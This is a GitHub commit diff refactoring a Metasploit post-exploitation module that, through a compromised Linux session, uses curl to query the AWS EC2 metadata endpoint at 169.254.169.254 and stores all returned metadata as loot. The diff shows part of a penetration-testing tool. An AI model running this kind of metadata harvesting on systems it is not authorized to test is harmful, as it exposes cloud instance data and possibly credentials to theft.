Skip to content

Commit 9ee6e19

Browse files
committed
target_uri simplification, cleanup
1 parent 60cfe62 commit 9ee6e19

File tree

1 file changed

+21
-21
lines changed

1 file changed

+21
-21
lines changed

modules/post/linux/gather/enum_aws_ec2_instance_metadata.rb

Lines changed: 21 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -28,36 +28,28 @@ def initialize(info = {})
2828
]
2929
)
3030
)
31+
3132
register_advanced_options(
3233
[
3334
OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/ '])
3435
]
3536
)
3637
end
3738

38-
def target_uri
39-
begin
40-
@target_uri ||= URI(datastore['TARGETURI'])
41-
rescue ::URI::InvalidURIError
42-
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
43-
raise Msf::OptionValidateError.new(['TARGETURI'])
39+
def check_aws_metadata
40+
resp = simple_get(@target_uri)
41+
unless resp =~ /^instance-id.$/m
42+
fail_with(Failure::BadConfig, "Session does not appear to be on an AWS EC2 instance")
4443
end
44+
resp
4545
end
4646

4747
def check_curl
48-
unless cmd_exec("curl --version") =~ %r{^curl \d}
48+
unless cmd_exec("curl --version") =~ /^curl \d/
4949
fail_with(Failure::BadConfig, 'curl is not installed')
5050
end
5151
end
5252

53-
def check_aws_metadata
54-
resp = simple_get(target_uri)
55-
unless resp =~ /^instance-id.$/m
56-
fail_with(Failure::BadConfig, "Session does not appear to be on an AWS EC2 instance")
57-
end
58-
resp
59-
end
60-
6153
def get_aws_metadata(base_uri, base_resp)
6254
r = {}
6355
base_resp.split(/\r\n/).each do |l|
@@ -77,15 +69,10 @@ def get_aws_metadata(base_uri, base_resp)
7769
r
7870
end
7971

80-
def simple_get(url)
81-
vprint_status("Fetching #{url}")
82-
cmd_exec("curl #{url}")
83-
end
84-
8572
def run
8673
check_curl
8774
resp = check_aws_metadata
88-
metadata = get_aws_metadata(target_uri, resp)
75+
metadata = get_aws_metadata(@target_uri, resp)
8976
metadata_json = JSON.pretty_generate(metadata)
9077
file = store_loot("aws.ec2.instance.metadata", "text/json", session, metadata_json, "aws_ec2_instance_metadata.json", "AWS EC2 Instance Metadata")
9178
if datastore['VERBOSE']
@@ -94,4 +81,17 @@ def run
9481
end
9582
print_good("Saved AWS EC2 instance metadata to to #{file}")
9683
end
84+
85+
def setup
86+
begin
87+
@target_uri ||= URI(datastore['TARGETURI'])
88+
rescue ::URI::InvalidURIError
89+
fail_with(Failure::BadConfig, "Invalid TARGETURI: #{datastore['TARGETURI']}")
90+
end
91+
end
92+
93+
def simple_get(url)
94+
vprint_status("Fetching #{url}")
95+
cmd_exec("curl #{url}")
96+
end
9797
end

0 commit comments

Comments
 (0)